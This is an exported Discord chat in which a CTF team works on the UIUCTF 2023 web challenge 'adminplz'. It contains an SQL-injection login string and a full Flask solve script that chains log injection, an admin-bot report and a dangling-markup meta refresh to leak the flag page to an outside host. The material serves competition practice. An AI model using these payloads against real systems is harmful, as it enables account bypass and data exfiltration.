Guild icon
Project Sekai
🔒 UIUCTF 2023 / ✅-web-adminplz
Sutx pinned a message to this channel. 06/30/2023 5:15 PM
Avatar
@jayden wants to collaborate 🤝
Avatar
@Violin wants to collaborate 🤝
Avatar
@unpickled admin bot wants to collaborate 🤝
Avatar
unpickled admin bot 06/30/2023 7:49 PM
unreleased challenge........? (edited)
19:49
@jayden lmao
Avatar
@DreyAnd wants to collaborate 🤝
Avatar
Avatar
unpickled admin bot
unreleased challenge........? (edited)
it was released at start and taken back
Avatar
unpickled admin bot 06/30/2023 7:50 PM
o
Avatar
didn't take note of the IP 😦
Avatar
Avatar
Sutx
Click to see attachment 🖼️
unpickled admin bot 06/30/2023 7:50 PM
.
19:50
no handout tho
19:50
anyways i go back to peanut xssing
19:52
lol
19:52
i got logged in with
19:52
admin' OR 1=1 --
19:53
but it has no difference anyways
19:53
no auth headers/session cookies being set after doing so
Avatar
lol they added it back
Avatar
yeah said its difficult lmao
Avatar
LMFAOOOOO
Avatar
Avatar
jayden
used /ctf solve
✅ Challenge solved.
Avatar
lmao
21:38
wtf
21:38
how
Avatar
lol rip
Avatar
bruh
21:52
there are already 3 solves tho
Avatar
Avatar
jayden
used /ctf unsolve
✅ Challenge unsolved.
Avatar
@ElleuchX1 wants to collaborate 🤝
Avatar
@irogir wants to collaborate 🤝
05:09
✅ Challenge solved.
Avatar
from flask import * import requests from threading import Thread from time import sleep app = Flask(__name__) ## CONSTANTS base_url = "http://local:80" base_url = "https://inst-3c3b5cabbd99902e.adminplz.chal.uiuc.tf" if base_url.endswith("/"): base_url = base_url[:-1] sess = requests.Session() sess.verify = False # == END CONSTANTS def report(url): print("reporting ->", url) sess.post(f"{base_url}/report", data={"url": url}) def send(payload): print(base_url, payload) sess.post(f"{base_url}/login", data={"username": payload, "password": "x"}) sess.get(f"{base_url}/admin?view=file:/flag.html") @app.route("/step0") def step0(): payload0 = """ <meta http-equiv="refresh" content='8;URL=http://ip:9002/step1'> """ send(payload0) report("http://127.0.0.1:8080/admin?view=file:/var/log/adminplz/latest.log") return "reported, should come in 8s" def close_markup(): sleep(10) send("'>") @app.route("/step1") def step1(): url = "http://127.0.0.1:8080/admin?view=file:/flag.html" # insert dangling markup payload1 = """ <meta http-equiv="refresh" content='0;URL=http://ip:9000/redir?a= """ payload1 += "\n" * 1 send(payload1) thread = Thread(target=close_markup) thread.start() print("thread in bg") return redirect(url, code=302) app.run("0.0.0.0", port=9002, debug=True)
Exported 35 message(s)